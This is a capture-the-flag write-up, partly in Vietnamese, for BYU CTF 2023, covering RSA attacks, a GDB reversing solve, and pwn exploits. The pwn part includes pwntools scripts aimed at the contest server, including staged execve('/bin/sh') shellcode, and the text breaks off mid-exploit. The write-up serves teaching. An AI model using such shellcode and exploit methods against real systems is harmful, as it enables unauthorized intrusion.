# (writeup) BYU-CTF-2023 [official write-up](https://github.com/BYU-CSA/BYUCTF-2023#readme) ## CRYPTO ### RSA1 - script: ```python from Crypto.Util.number import * n = 287838647563564518717519107521814079281 e = 7 c = 258476617615202392748150555415953446503 #factor n p = 18413880828441662521 q = 15631612382272805561 phi = (p-1)*(q-1) d = inverse(e,phi) m =pow(c,d,n) flag =long_to_bytes(m).decode() print(flag) ``` > Flag: byuctf{too_smol} --- ### RSA2 - script: ```python from Crypto.Util.number import * n = 546014635841741214724882952304387823741798461149589549073179989118942746109940806878269775538274570065946589413677004071487344751464649121103982272835006900203922112014630898761428602513684456008956735791010937229939856259403186940249737579526542460562078728957198932156520780835942292131829398548678970431263462917223085165930683353518778015361505451889259321493813123084031407195410778661720394898118828299025325200597986154170392835072784810370185329392356423340408483449291280713796374297147668615988522804223480631576577707073715128342533703842150980913675658012799681575774731843549389349977365287936534707998476564357339504431638612839358093914282814270477657856345062084136585402704930924062452984009716927826681976269057923158930326380110735873715506666086031427627450725825495228912040943784627278987497908133546573083543604901933763330940965980882566819970423354937076331119777415405707162588442490342746115310986462330781467571631209829523895479737199963129517613642920935109776495829400236613168913129178658637967592913193540283532220304664924612246117951571439486418122093867454452618997458068515332016877486822805232899716524040444751997121936138984564834862354469295078855441829018404782747219665338778379471257704041 e = 65537 c = 497483520135207500611760341868934810216889295862727367409205471739457798733223813938415492642898622071289502771394670201759355356873731071744923938304067196827981196823596976532284031567818944043351160692892539254848854527943095670705184836531463778923699513154523281624336593518751911469590777921172775020125081803529411082078530404614569485860638460689961289946436553586222781503048987585305336865777424252321433817251942278548031598867440246798562662298880488044382840476214732326114298681849826143159014132251265975612736174765852107701466877003101250308950535660691651846052082123375934624356694170453897672257371991315676787548733520567289929667876604682273501711766130944645562650989837328685043543330211830184365436596077862055649246517141787872170320358968622818470064395975654949073402489903952399985907827496667385839890041608685588908200009780210043116940593521695695047783434230143405184690206691002634954008353327872663055826018481013718627348218684688250775372760462829705754318024652361552668830110066219305953343851243676904796434142570868419087560131333056695456062994781034014322792678534785191950145702468201676105282230660132801024614625267740668507168119879074770666830923799616054485447308126877109671082189614 #factor n p = 23379772179812068808174060753537744579203831235837216258047345717791206838844783973094148970269358352883567686183840162453475135997997950171025172534250066839781721720291637394109275750765747393807129441718738564581300844549866075387635571271298099970059805382997224172143494300775742278526976057440901844970233807992493192827375594281731619879000721912671268883932814086571959959837609600236134071446484378655039534937911808777812990351810838102078057859303673209338100518315299313874836179635779981742550281014611235035038725280128727341135995530457136512443488805309366834219571741391932893715725604175334445964881 q = 23354146979807319379999035616961227366315140956417473671454187034894451162291754802462941941792796900830979379875976598091266482784685424013905480696388873312112449447015212036533336920764065285748033710474328055812364692120325949818178301777905279103958955246642416286153474237338739835798119305508201074075918506331902107847659951627678483765213310235851319160745426496852724170929530989982548624157909773262752522594414435161921211944019434983046703898010646693649668494220236993757035493132421299985405030215783112721654976457363937286689672094963265015048673356916456174809392166143308820305157390154213277022361 phi = (p-1)*(q-1) d = inverse(e,phi) m =pow(c,d,n) flag =long_to_bytes(m).decode() print(flag) ``` > Flag:byuctf{rsa_is_only_secure_when_p_and_q_are_unknown} --- ### RSA3 - Chall này cho ta data như sau: ```txt n1 = 26936730986023789726214222876998431579035871765812234385674097050592112272540329063679602773116293498245937781951160051718036177035087801218359133356523071700951108999020905116034905584806261203518345118128714311038590925635180342040347317022008233631809623824589107373210514331169745651687793393307158179191306187356408951648269495142386375021669218752561961647301029204701333026044435685936341126368602940601101599988477874713569476970068734357580527463645209944448988010693985476127837819331701523891965427561798033127731232916390511986369304971158889254173850566560028528340860519614489276904182246324437302697433 e1 = 65537 c1 = 25934221721388531303090294836956821212346696995428676440185777623629033147440636130540319272854260855117016879903925227836710795492438220977864741830686432435183222727791461378988782191893620213711460265022633971293289987925875691438890670054518553696690583070284033592035281829227897938832962322172505881421894428362134145126751766514249801481330619906708370005958557827981820321861133293595400304305721764486699677941331024345924352161482159664366018182446127343098427579677894070842066840562853624060861183697917208697602208453017595582242281467105778066369782229287834403074433848470534633158573935584429007575715 n2 = 20923351960149847207730448386993771286287991808293298691185156471519720793292179321382926775933281826329369963004005667653815105072159583791658532166606431385861980687037872135521884790087813454844716254644626942821490878728677736261700329782075809716063515721266692286574071240561529911159730824490258866613280873755548760004314650585913096197607936750263556276920577987540676841745347308103070523989154846358123142014592046611945781700690640990848003152423310523158983857208127158850925297742214928064334410930947749935069628731105093722212442331657106356911123912454871778728334875010902513275561639806401894881233 e2 = 65537 c2 = 5993773597007465934515223705550947500391213737662065644971977783446564890828050443747162704068048188331597029929182281837445674583301936037963788912954366180921337518251139032904603786774772009913305609053718347365864177247549192649908207240197602397010006677485658506955283638199651692990436006544549785434255965098715363287267470252318128158357490592521797199393154974403123099999366644663048724011101287811844340320520544010179529188112211115440469084617438296961494801221969674213288489675624156545941630517075958425681203711654677553772595530799489102830165490202523397154229276688719481530893488434863906070343 ``` - Ta thấy có 2 giá trị n1 và n2 nhưng lại chỉ có 1 e, ta thử tìm Ước chung lớn nhất của 2 giá trị n1 và n2 này, và đó sẽ chính là p - Đoạn code sẽ như sau: ```python from Crypto.Util.number import* def egcd(a, b): x,y, u,v = 0,1, 1,0 while a != 0: q, remainder = b//a, b%a m, n = x-u*q, y-v*q b,a, x,y, u,v = a,remainder, u,v, m,n gcd = b return gcd n1 = 26936730986023789726214222876998431579035871765812234385674097050592112272540329063679602773116293498245937781951160051718036177035087801218359133356523071700951108999020905116034905584806261203518345118128714311038590925635180342040347317022008233631809623824589107373210514331169745651687793393307158179191306187356408951648269495142386375021669218752561961647301029204701333026044435685936341126368602940601101599988477874713569476970068734357580527463645209944448988010693985476127837819331701523891965427561798033127731232916390511986369304971158889254173850566560028528340860519614489276904182246324437302697433 e1 = 65537 c1 = 25934221721388531303090294836956821212346696995428676440185777623629033147440636130540319272854260855117016879903925227836710795492438220977864741830686432435183222727791461378988782191893620213711460265022633971293289987925875691438890670054518553696690583070284033592035281829227897938832962322172505881421894428362134145126751766514249801481330619906708370005958557827981820321861133293595400304305721764486699677941331024345924352161482159664366018182446127343098427579677894070842066840562853624060861183697917208697602208453017595582242281467105778066369782229287834403074433848470534633158573935584429007575715 n2 = 20923351960149847207730448386993771286287991808293298691185156471519720793292179321382926775933281826329369963004005667653815105072159583791658532166606431385861980687037872135521884790087813454844716254644626942821490878728677736261700329782075809716063515721266692286574071240561529911159730824490258866613280873755548760004314650585913096197607936750263556276920577987540676841745347308103070523989154846358123142014592046611945781700690640990848003152423310523158983857208127158850925297742214928064334410930947749935069628731105093722212442331657106356911123912454871778728334875010902513275561639806401894881233 e2 = 65537 c2 = 5993773597007465934515223705550947500391213737662065644971977783446564890828050443747162704068048188331597029929182281837445674583301936037963788912954366180921337518251139032904603786774772009913305609053718347365864177247549192649908207240197602397010006677485658506955283638199651692990436006544549785434255965098715363287267470252318128158357490592521797199393154974403123099999366644663048724011101287811844340320520544010179529188112211115440469084617438296961494801221969674213288489675624156545941630517075958425681203711654677553772595530799489102830165490202523397154229276688719481530893488434863906070343 p = (egcd(n1,n2)) q = n1//p phi = (p-1)*(q-1) d = inverse(e1,phi) print(long_to_bytes(pow(c1,d,n1))) ``` >Flag của chall này là: byuctf{coprime_means_factoring_N_becomes_much_easier} --- ### RSA4 - Với challs này nghĩ ngay tới [𝗛𝗮𝘀𝘁𝗮𝗱’𝘀 𝗯𝗿𝗼𝗮𝗱𝗰𝗮𝘀𝘁 𝗮𝘁𝘁𝗮𝗰𝗸 (𝗦𝗺𝗮𝗹𝗹 𝗖𝗥𝗧-𝗘𝘅𝗽𝗼𝗻𝗲𝗻𝘁)](https://en.wikipedia.org/wiki/Coppersmith%27s_attack#H%C3%A5stad's_broadcast_attack) - script: ```python from Crypto.Util.number import long_to_bytes from functools import reduce from gmpy2 import iroot e123 = 3 n1 = 25204912957894049536633029588071532883154221495361435745558539407530325536509218257991893451902442183954212400671502526830623527340613723328379300388737939211263541814108106183164630301938900862986688763583982133846507136234797325243547177627054271161715200611591594812723672399437505379398941496184886411879923583394041753902383846644013849190900416111230521180435101859101110596828380586449182686175177638441549656137307050392520754146511496313215137339773851458160180450925216541537448515297981124184019831730808991821344392915274230294654187421183676471212265322367890189804699510021526923237231850244056681024361 c1 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509 n2 = 17730912385401458370516374144454354828481353051514329263921774569034415114147424203611660978860008058118764431105602401970281692066419254457694301039461623568501484102567802483628476717695013320444442267232019104240173401975387173805390636521671252624249730700497552226732834062715286458634274525026438931671208367178653031967364951679420066768732647183187381700016195545187024094717207787859217993871236368911145957298126589666514319408022801341248744002320245345234912423717815146532293315342644702101415345900126397475592837306256140915525455824350305349773210334856093169535686115299159772550674315375987529523179 c2 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509 n3 = 23693871552180460990138635073805949225912252125308334418081834697641804631104724668330415198785050388969117484647897131795893896100932121531733121069301557203541651575306855376180158639595396645851251320756224273151350168394783274111111375428683335001923152182758469432988805562827169898721409159172411067426322303967736140645806651181720610635139163613355013365367013643617931710120446074129630384181873406149243284193113399417540744056880787819360491511062694356302764642727497777585348003477373456680752873785829149551421840290660162776229985812994060664107888011786183808824620497078292008444842754064007647832261 c3 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509 def chinese_remainder(n, a): sum = 0 prod = reduce(lambda a, b: a*b, n) for n_i, a_i in zip(n, a): p = prod // n_i sum += a_i * mul_inv(p, n_i) * p return sum % prod def mul_inv(a, b): b0 = b x0, x1 = 0, 1 if b == 1: return 1 while a > 1: q = a // b a, b = b, a%b x0, x1 = x1 - q * x0, x0 if x1 < 0: x1 += b0 return x1 m=chinese_remainder([n1,n2,n3],[c1,c2,c3]) flag = iroot(m,e123)[0] print(long_to_bytes(flag)) ``` > Flag: byuctf{hastad_broadcast_attack_is_why_e_needs_to_be_very_large} --- ### RSA5 - script: ```python from Crypto.Util.number import long_to_bytes from numpy import gcd ,mod n = 158307578375429142391814474806884486236362186916188452580137711655290101749246194796158132723192108831610021920979976831387798531310286521988621973910776725756124498277292094830880179737057636826926718870947402385998304759357604096043571760391265436342427330673679572532727716853811470803394787706010603830747 e1 = 65537 c1 = 147465654815005020063943150787541676244006907179548061733683379407115931956604160894199596187128857070739585522099795520030109295201146791378167977530770154086872347421667566213107792455663772279848013855378166127142983660396920011133029349489200452580907847840266595584254579298524777000061248118561875608240 e2 = 65521 c2 = 142713643080475406732653557020038566547302005567266455940547551173573770529850069157484999432568532977025654715928532390305041525635025949965799289602536953914794718670859158768092964083443092374251987427058692219234329521939404919423432910655508395090232621076454399975588453154238832799760275047924852124717 u=-4095 #tìm u,v thông qua e1*u + e2*v = 1 và áp dụng euclid mở rộng v=4096 # c1_inv là kết quả của nghịch đảo của c modul n c1_inv = 41927986095072457444217736683837680663124015714519624826567637473436840224329050796518412622704248843623876460470352658796681519749838102909966117084980630961538920888206501864603139250353935696568348581578810754609263580820375423804224092959000250716559616575897834442887109531283082744504538831190992012975 m= (pow(c1_inv,-u) * pow(c2,v))%n print(long_to_bytes(m)) ``` > Flag:byuctf{NEVER_USE_SAME_MODULUS_WITH_DIFFERENT_e_VALUES} --- ### RSA5 script2 - Chall này cho ta 1 data như sau: ```txt n = 158307578375429142391814474806884486236362186916188452580137711655290101749246194796158132723192108831610021920979976831387798531310286521988621973910776725756124498277292094830880179737057636826926718870947402385998304759357604096043571760391265436342427330673679572532727716853811470803394787706010603830747 e1 = 65537 c1 = 147465654815005020063943150787541676244006907179548061733683379407115931956604160894199596187128857070739585522099795520030109295201146791378167977530770154086872347421667566213107792455663772279848013855378166127142983660396920011133029349489200452580907847840266595584254579298524777000061248118561875608240 e2 = 65521 c2 = 142713643080475406732653557020038566547302005567266455940547551173573770529850069157484999432568532977025654715928532390305041525635025949965799289602536953914794718670859158768092964083443092374251987427058692219234329521939404919423432910655508395090232621076454399975588453154238832799760275047924852124717 ``` - Ta thấy 2 bộ này đều cùng module n, có 2 e1 và e2, c1 và c2. Nhìn phát biết ngay sẽ cần phải tấn công kiểu nào - Ta sẽ tấn công kiểu External Module - Ta thấy gcd(e1,e2) = 1 --> sẽ thu được ``e1*a1 + e2*a2 = 1`` - Khi đó, ``c1^a1 * c2^a2 ≡ (m^e1)^a1 * (m^e2)^a2 ≡ m^(e1*a1 + e2*a2) ≡ m (mod n)`` - Tức là `` pow(c1,a1,n) * pow(c2,a2,n)%n = m`` ```python from Crypto.Util.number import* import gmpy2 def egcd(a, b): x,y, u,v = 0,1, 1,0 while a != 0: q, remainder = b//a, b%a m, n = x-u*q, y-v*q b,a, x,y, u,v = a,remainder, u,v, m,n gcd = b return gcd, x, y n = 158307578375429142391814474806884486236362186916188452580137711655290101749246194796158132723192108831610021920979976831387798531310286521988621973910776725756124498277292094830880179737057636826926718870947402385998304759357604096043571760391265436342427330673679572532727716853811470803394787706010603830747 e1 = 65537 c1 = 147465654815005020063943150787541676244006907179548061733683379407115931956604160894199596187128857070739585522099795520030109295201146791378167977530770154086872347421667566213107792455663772279848013855378166127142983660396920011133029349489200452580907847840266595584254579298524777000061248118561875608240 e2 = 65521 c2 = 142713643080475406732653557020038566547302005567266455940547551173573770529850069157484999432568532977025654715928532390305041525635025949965799289602536953914794718670859158768092964083443092374251987427058692219234329521939404919423432910655508395090232621076454399975588453154238832799760275047924852124717 g,a1,a2 = egcd(e1,e2) m = pow(c1,a1,n) * pow(c2,a2,n) % n print(long_to_bytes(m)) ``` > Flag: byuctf{NEVER_USE_SAME_MODULUS_WITH_DIFFERENT_e_VALUES} --- ### Compact ![](https://hackmd.io/_uploads/BJUNuYDS2.png) - Link [Tool](https://www.dcode.fr/dotsies-writing) - format flag: ![](https://hackmd.io/_uploads/Sy-5_tDHn.png) > Flag: byuctf{well its definitely more compact} ___ ## REV ### Rev Eng - Sau khi tệp `gettingBetter` được tải xuống, tôi thực hiện `check` file. ![Screenshot from 2023-05-21 09-50-35](https://github.com/nguyenvandat123/flag/assets/127211886/0bfa3d15-6f63-4d9e-bb29-501e235b1288) - Biết được đây là tệp thực thi, tôi đã chạy tệp thực thi và nhập "paspharase" là một chuỗi bất kì và chương trình cho tôi biết điều đó không chính xác. ![Screenshot from 2023-05-21 09-51-20](https://github.com/nguyenvandat123/flag/assets/127211886/cdc697a2-dc79-4ebe-8e8d-5bb46899171f) - Vì vậy tôi đã xác định được yêu cầu của thử thách là nhập đúng pass để lấy được flag. Bắt đầu quá trình debug bằng công cụ GDB: - Tôi sẽ sử dụng lệnh sau để biết hàm `main` làm những gì: ![Screenshot from 2023-05-21 10-36-41](https://github.com/nguyenvandat123/flag/assets/127211886/2d6f54c4-0b70-4f79-9981-6e640eefac1f) ![Screenshot from 2023-05-21 10-39-01](https://github.com/nguyenvandat123/flag/assets/127211886/50ab3a85-314b-46bc-b8f7-5360c9fb32a5) - Tôi tìm được hàm `check passphrase` tại địa chỉ `0x00005555555551bf ` (có thể đoán được đây là hàm quyết định để ta có được flag) vì vậy tôi đặt break tại địa chỉ này và bắt đầu debug. ![Screenshot from 2023-05-21 10-43-40](https://github.com/nguyenvandat123/flag/assets/127211886/f1ba70fa-f3d5-4305-9b99-74b8d441eafe) - Kết quả: ![Screenshot from 2023-05-21 10-45-59](https://github.com/nguyenvandat123/flag/assets/127211886/947298f7-8db8-49a4-a5f6-2dcfb0193b88) - passphrase đúng sẽ là `She turned me into a newt` ![Screenshot from 2023-05-21 10-48-34](https://github.com/nguyenvandat123/flag/assets/127211886/b3c6f09b-fd23-4009-b01a-184c2604768c) > Flag:byuctf{i_G0t_3etTeR!_1975} --- ## PWN ### 2038 - Source code ```c int print_flag() { char v1; // [rsp+7h] [rbp-9h] FILE *stream; // [rsp+8h] [rbp-8h] stream = fopen("flag.txt", "r"); if ( !stream ) return puts("Could not find flag.txt"); while ( 1 ) { v1 = getc(stream); if ( v1 == -1 ) break; putchar(v1); } return putchar(10); } int __cdecl main(int argc, const char **argv, const char **envp) { char *v4; // rax char *v5; // rax int v6; // [rsp+4h] [rbp-2Ch] time_t timer; // [rsp+8h] [rbp-28h] BYREF time_t v8; // [rsp+10h] [rbp-20h] BYREF char nptr[12]; // [rsp+1Ch] [rbp-14h] BYREF unsigned __int64 v10; // [rsp+28h] [rbp-8h] v10 = __readfsqword(0x28u); puts("Task: 'print_flag'"); puts("Description: 'prints out the flag'"); puts("Date: 'undefined'\n"); puts("ERROR - date for 'print_flag' task is not defined"); puts("This task is not available until January 1st, 2024\n"); puts("You may optionally extend this task to be available later"); puts( "To specify when you would like to make the task available, specify the number of seconds since January 1st, 1970 UTC"); printf("> "); __isoc99_scanf("%10s", nptr); v6 = atoi(nptr); if ( (unsigned int)v6 > 0x6592007F ) { timer = v6; v4 = ctime(&timer); printf("\nSpecified datetime - %s\n", v4); v8 = time(0LL); v5 = ctime(&v8); printf("Current datetime - %s\n", v5); if ( timer >= v8 ) { puts("'print_flag' was not run because specified date has not occurred yet. Exiting..."); } else { puts("Time requirement has been met. Running 'print_flag'..."); print_flag(); } return 0; } else { puts("\nERROR - date must be after January 1st, 2024"); return 1; } } ``` - Ý tưởng - Đây là bài time UNIX, đầu vào cho ta nhập vào 1 chuỗi và đổi chuỗi đó sang số thông qua hàm atoi() ```c __isoc99_scanf("%10s", nptr); v6 = atoi(nptr); ``` - Nói chung chỉ cần thoả các điều kiện thì nó sẽ in ra flag, chú ý đề bài `2038`, nên ta sẽ dùng các trang web `UNIX time converter` để convert sang số. - Khai thác: - Do đề bài hint cho ta năm 2038, nên ta sẽ convert năm 2038 còn ngày tháng bao nhiêu cũng được - Kết quả ![image](https://github.com/wan-hyhty/CTFs_competition/assets/111769169/7827f48b-6773-43bf-b497-5f75b5e0c336) --- ### VFS-1 - Source code ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> __attribute__((constructor)) void flush_buf() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void banner() { puts("VVVVVVVV VVVVVVVVFFFFFFFFFFFFFFFFFFFFFF SSSSSSSSSSSSSSS "); puts("V::::::V V::::::VF::::::::::::::::::::F SS:::::::::::::::S"); puts("V::::::V V::::::VF::::::::::::::::::::FS:::::SSSSSS::::::S"); puts("V::::::V V::::::VFF::::::FFFFFFFFF::::FS:::::S SSSSSSS"); puts(" V:::::V V:::::V F:::::F FFFFFFS:::::S "); puts(" V:::::V V:::::V F:::::F S:::::S "); puts(" V:::::V V:::::V F::::::FFFFFFFFFF S::::SSSS "); puts(" V:::::V V:::::V F:::::::::::::::F SS::::::SSSSS "); puts(" V:::::V V:::::V F:::::::::::::::F SSS::::::::SS "); puts(" V:::::V V:::::V F::::::FFFFFFFFFF SSSSSS::::S "); puts(" V:::::V:::::V F:::::F S:::::S"); puts(" V:::::::::V F:::::F S:::::S"); puts(" V:::::::V FF:::::::FF SSSSSSS S:::::S"); puts(" V:::::V F::::::::FF S::::::SSSSSS:::::S"); puts(" V:::V F::::::::FF S:::::::::::::::SS "); puts(" VVV FFFFFFFFFFF SSSSSSSSSSSSSSS "); puts(""); puts(""); puts("[+] Welcome to the Virtual File System! Here you can create, delete, and"); puts("modify files. In order to save space, multiple people are using this same"); puts("system. But don't worry! We've implemented a system to prevent people from"); puts("seeing each other's files. Enjoy!\n\n"); } int menu() { int choice; puts("[+] What would you like to do?"); puts("1. Create a file"); puts("2. Delete a file"); puts("3. Modify a file"); puts("4. Read a file"); puts("5. Exit"); printf("> "); scanf("%d", &choice); return choice; } int main() { banner(); // INITIALIZATIONS struct filesystem { char contents[2880]; char flag[64]; int current_file; }; // get flag struct filesystem fs; char * buffer = 0; long length; FILE * f = fopen ("flag.txt", "rb"); if (f) { fseek (f, 0, SEEK_END); length = ftell (f); fseek (f, 0, SEEK_SET); buffer = malloc (length); if (buffer) { fread (buffer, 1, length, f); } fclose (f); } if (buffer) { strcpy(fs.flag, buffer); free(buffer); } else { puts("[-] Error reading flag"); exit(1); } fs.current_file = 0; char filename[32]; char contents[256]; while (1==1) { int choice = menu(); if (choice == 1) { if (fs.current_file == 10) { puts("[-] Sorry, you can't create any more files!"); continue; } // create puts("[+] What would you like to name your file?"); printf("> "); scanf("%32s", filename); puts("[+] What would you like to put in your file?"); printf("> "); scanf("%256s", contents); // copy filename memcpy(fs.contents + (fs.current_file*288), filename, 32); // copy contents memcpy(fs.contents + (fs.current_file*288) + 32, contents, 256); printf("[+] File created! (#%d)\n\n", fs.current_file); fs.current_file++; } else if (choice == 2) { // delete //delete_file(); printf("Sorry, that hasn't been implemented yet!\n"); } else if (choice == 3) { // modify //modify_file(); printf("Sorry, that hasn't been implemented yet!\n"); } else if (choice == 4) { // read int file_to_read; puts("[+] Which file # would you like to read?"); printf("> "); scanf("%d", &file_to_read); if ((file_to_read >= fs.current_file) || (file_to_read < 0)) { puts("[-] Invalid file number"); continue; } printf("[+] Filename: %s", fs.contents + (file_to_read*288)); printf("[+] Contents: %s", fs.contents + (file_to_read*288) + 32); } else if (choice == 5) { exit(0); } else { puts("[-] Invalid choice"); exit(1); } } } ``` - Ý tưởng: - Đọc code khá lú, đại loại sẽ tạo (option 1) và đọc (option 4), khi ta debug ta thấy, flag sẽ được đọc và ghi vào heap như này ![image](https://github.com/wan-hyhty/CTFs_competition/assets/111769169/2e3efb15-8bcc-4d2c-a4b3-efeadfbf0557) ![image](https://github.com/wan-hyhty/CTFs_competition/assets/111769169/d35dbc07-2601-483d-8e99-87fc9862fe6a) - Ta debug đến **strcpy** thì thấy nó như này ![image](https://github.com/wan-hyhty/CTFs_competition/assets/111769169/e9d2c2ed-c87c-4be3-b537-9ed73056eab4) ```c strcpy@plt ( $rdi = 0x007fffffffdab0 → 0x0000000000000000, $rsi = 0x00555555559690 → "this-is-fake-flag\n", $rdx = 0x007fffffffdab0 → 0x0000000000000000 ) ``` - Nghĩa là nó lấy flag bỏ vào địa chỉ 0x007fffffffdab0, lưu trong stack - Flag của chúng ở đây ```gef 0x007fff9417f090│+0x0b60: "this-is-fake-flag\n" 0x007fff9417f098│+0x0b68: "fake-flag\n" ``` - Chuỗi chúng ta nhập ở đây ```gef 0x007fff9417e550│+0x0020: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa111111111111111111[...]" 0x007fff9417e558│+0x0028: "aaaaaaaaaaaaaaaaaaaaaaaa11111111111111111111111111[...]" 0x007fff9417e560│+0x0030: "aaaaaaaaaaaaaaaa1111111111111111111111111111111111[...]" 0x007fff9417e568│+0x0038: "aaaaaaaa111111111111111111111111111111111111111111[...]" 0x007fff9417e570│+0x0040: "11111111111111111111111111111111111111111111111111[...]" 0x007fff9417e578 ``` - Nghĩa là nếu chúng ta có thể nối chuỗi ở `0x007fff9417e550` với flag thành 1 chuỗi không có null byte thì %s nó sẽ in ra hết và kèm flag của ta vào - Thực thi - Do ta chỉ được nhập 10 lần và chỉ cần 10 lần đó có thể tạo được một chuỗi dài không có null byte - Chương trình cho ta nhập 32 byte tên và 256 byte nội dung nên ta vẫn nhập đủ 32 và 256 byte đó - script: ```python #!/usr/bin/python3 from pwn import * exe = ELF('vfs1', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+355 c ''') input() def info(msg): return log.info(msg) def sla(msg, data): return p.sendlineafter(msg, data) def sa(msg, data): return p.sendafter(msg, data) def sl(data): return p.sendline(data) def s(data): return p.send(data) if args.REMOTE: p = remote('byuctf.xyz', 40008) else: p = process(exe.path) GDB() def option1(): sla(b"> ", b"1") sla(b"> ", b"a"*32) sla(b"> ", b"1"*256) for i in range(10): option1() p.interactive() ``` ![image](https://github.com/wan-hyhty/CTFs_competition/assets/111769169/60173762-3c4d-4bbf-a479-4962440b291d) --- ### Shellcode - check file + checksec ![](https://hackmd.io/_uploads/BJC5GPDB3.png) - check source: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> #define MAP_ANONYMOUS 0x20 __attribute__((constructor)) void flush_buf() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } int main() { // create memory for shellcode to reside in mmap((char *)0x777777000, 71, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0); // set first 51 bytes to 0s memset((char *)0x777777000, 0x00, 51); // get first 10 bytes of shellcode char shellcode_one[10]; puts("Enter first 10 bytes of shellcode: "); read(0, shellcode_one, 10); memcpy((char *)0x777777000, shellcode_one, 10); // get second 10 bytes of shellcode char shellcode_two[10]; puts("Enter second 10 bytes of shellcode: "); read(0, shellcode_two, 10); memcpy((char *)0x777777020, shellcode_two, 10); // get third 10 bytes of shellcode char shellcode_three[10]; puts("Enter third 10 bytes of shellcode: "); read(0, shellcode_three, 10); memcpy((char *)0x777777040, shellcode_three, 10); // get last 10 bytes of shellcode char shellcode_four[10]; puts("Enter last 10 bytes of shellcode: "); read(0, shellcode_four, 10); memcpy((char *)0x777777060, shellcode_four, 10); // call shellcode ((void (*)())0x777777000)(); return 0; } ``` - thông qua source code ta sẽ nhập 4 lần shellcode, và cuối cùng thực thi shellcode ngay địa chỉ mình nhập lần đầu - idea ban đầu là chia shellcode làm 4 phần ![](https://hackmd.io/_uploads/SJyS4PDSh.png) > 3 phần đầu > phần 4 k cần thiết, nhập tuỳ thích (lệnh 'nop' vẫn được) - tới đây chương trình sẽ thực thi shellcode mình bằng cách gọi rdx ![](https://hackmd.io/_uploads/S1C-LPwS3.png) - khi mình đi sâu vào lệnh bằng ``si`` thì thấy có mỗi 10 byte đầu của mình ![](https://hackmd.io/_uploads/BkkBUvvBh.png) - kiểm tra rdx: ![](https://hackmd.io/_uploads/SyRiIPPH2.png) - thấy là shellcode ta nhập cách nhau - đổi hướng: gọi hàm **read** lên để chèn shellcode - argument của **read** : ![](https://hackmd.io/_uploads/ryRBPPwSn.png) > rax : 0 > rdi : 0 (fd: file descriptor là stdin nên là 0) > rsi : rdx ( *buf: vị trí ghi, lấy luôn tại rdx) > rdx : rdx ( size : kích thước ghi, chắc khỏi đổi) - check arg: ![](https://hackmd.io/_uploads/HJt8_DPr3.png) > có sẵn rax = NULL, rdi = NULL - vậy shellcode gọi thằng read là ![](https://hackmd.io/_uploads/HJU6uPPH3.png) > 5 byte là quá đủ cho 1 cuộc tình - sau khi gọi thành công thằng **read**, nó sẽ nhập lại vị trí mình nhập 5 byte gọi **read** lên, nên mình sẽ bypass qua 5 byte đó r thêm shellcode - nó sẽ thực thi tiếp vị trí sau syscall gọi **read** (byte thứ 6) ![](https://hackmd.io/_uploads/BkcqrDvHh.png) > đóng server rồi nên chạy local đỡ - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./shellcode',checksec=False) context.arch = 'x86-64' #p = process(exe.path) p = remote('byuctf.xyz',40017) # gdb.attach(p, gdbscript=''' # b*main+119 # b*main+178 # b*main+237 # b*main+296 # b*main+341 # c # ''') # input() stage1 = asm(''' mov rsi,rdx syscall ''',arch='amd64') p.send(stage1) bypass = asm(''' nop ''',arch='amd64') p.send(bypass) p.send(bypass) p.send(bypass) shellcode = asm( ''' mov rbx, 29400045130965551 push rbx mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall ''', arch='amd64') payload = b'\0'*5 payload += shellcode p.send(payload) p.interactive() #byuctf{1m_als0_pretty_new_t0_pwn_s0_h0p3_it_was_g00d} ``` > Flag: byuctf{1m_als0_pretty_new_t0_pwn_s0_h0p3_it_was_g00d} --- ### frorg - Source ```c int __cdecl main(int argc, const char **argv, const char **envp) { int v4[12]; // [rsp+Ch] [rbp-34h] BYREF int i; // [rsp+3Ch] [rbp-4h] puts("I love frorggies so much! So much I made this application to store all the frorgie names you want"); puts("How many frorgies you want to store? "); __isoc99_scanf("%d", v4); for ( i = 0; i < v4[0]; ++i ) { puts("Enter frorgy name: "); read(0, (char *)&v4[1] + 10 * i, 0xAuLL); } puts("Thank you!"); return 0; } ``` - Ý tưởng - Ta chú ý dòng này ``read(0, (char *)&v4[1] + 10 * i, 0xAuLL);``, đại loại nó sẽ read vào địa chỉ ``v4 + 10 * i`` vậy các địa chỉ là sẽ liên tụ với nhau ```gef 0x007ffe213b4b28│+0x0008: 0x0000000900000000 0x007ffe213b4b30│+0x0010: "aaaaaaaaaa" ← $rsi 0x007ffe213b4b38│+0x0018: 0x00000000006161 ("aa"?) ``` - Ta debug thử thì đúng như lí thuyết, 10 byte tiếp theo sẽ là ```gef 0x007ffe213b4b28│+0x0008: 0x0000000900000000 0x007ffe213b4b30│+0x0010: "aaaaaaaaaa" ← $rsi 0x007ffe213b4b38│+0x0018: 0x62626262626161 ("aa"?) 0x007ffe213b4b40│+0x0020: 0x0000000062626262 ``` - Vậy nó sẽ là ret2libc, chỉ là cực hơn thôi - Chú ý chỗ này ```gef 0x007ffe213b4b50│+0x0030: 0x0000000000000000 0x007ffe213b4b58│+0x0038: 0x00000002d0090ad0 0x007ffe213b4b60│+0x0040: 0x0000000000000001 ← $rbp 